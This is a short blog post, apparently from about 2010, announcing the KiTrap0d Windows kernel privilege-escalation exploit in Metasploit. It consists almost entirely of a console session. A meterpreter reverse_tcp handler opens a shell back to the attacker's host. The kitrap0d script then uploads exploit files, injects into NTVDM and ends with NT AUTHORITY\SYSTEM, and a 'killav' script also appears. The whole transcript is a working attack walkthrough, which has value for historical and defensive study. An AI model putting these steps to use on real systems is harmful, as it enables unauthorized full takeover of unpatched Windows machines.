KiTrap0d now in metasploit

more for documentation and historical purposes than "new hotness"

original advisory
http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html
"Microsoft Windows NT #GP Trap Handler Allows Users to Switch Kernel Stack"

Now implemented in Metasploit

msf exploit(handler) > set PAYLOAD windows/meterpreter/
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit

[*] Starting the payload handler...
[*] Started reverse handler on port 443
[*] Sending stage (725504 bytes)
[*] Meterpreter session 1 opened (192.168.1.100:443 -> 192.168.1.200:50777)

meterpreter > getuid
Server username: WINXPSP3\user
meterpreter > sysinfo
Computer: WINXPSP3
OS : Windows XP (Build 2600, Service Pack 3).
Arch : x86
Language: en_US
meterpreter > run ki
run killav run kitrap0d
meterpreter > run kitrap0d
[*] Currently running as WINXPSP3\user

[*] Loading the vdmallowed executable and DLL from the local system...
[*] Uploading vdmallowed to C:\DOCUME~1\user\LOCALS~1\Temp\pOOiEDDBFzJ.exe...
[*] Uploading vdmallowed to C:\DOCUME~1\user\LOCALS~1\Temp\vdmexploit.dll...
[*] Escalating our process (PID:1128)...

--------------------------------------------------
Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
-------------------------------------------- taviso@sdf.lonestar.org ---


[?] GetVersionEx() => 5.1
[?] NtQuerySystemInformation() => \WINDOWS\system32\ntkrnlpa.exe@804D7000
[?] Searching for kernel 5.1 signature: version 2...
[+] Trying signature with index 3
[+] Signature found 0x29142 bytes from kernel base
[+] Starting the NTVDM subsystem by launching MS-DOS executable
[?] CreateProcess("C:\WINDOWS\twunk_16.exe") => 1316
[?] OpenProcess(1316) => 0x7e8
[?] Injecting the exploit thread into NTVDM subsystem @0x7e8
[?] WriteProcessMemory(0x7e8, 0x2070000, "VDMEXPLOIT.DLL", 14);
[?] WaitForSingleObject(0x7cc, INFINITE);
[?] GetExitCodeThread(0x7cc, 0012FF44); => 0x77303074
[+] The exploit thread reports exploitation was successful
[+] w00t! You can now use the shell opened earlier

[*] Deleting files...
[*] Now running as NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

**Nipple Rub...**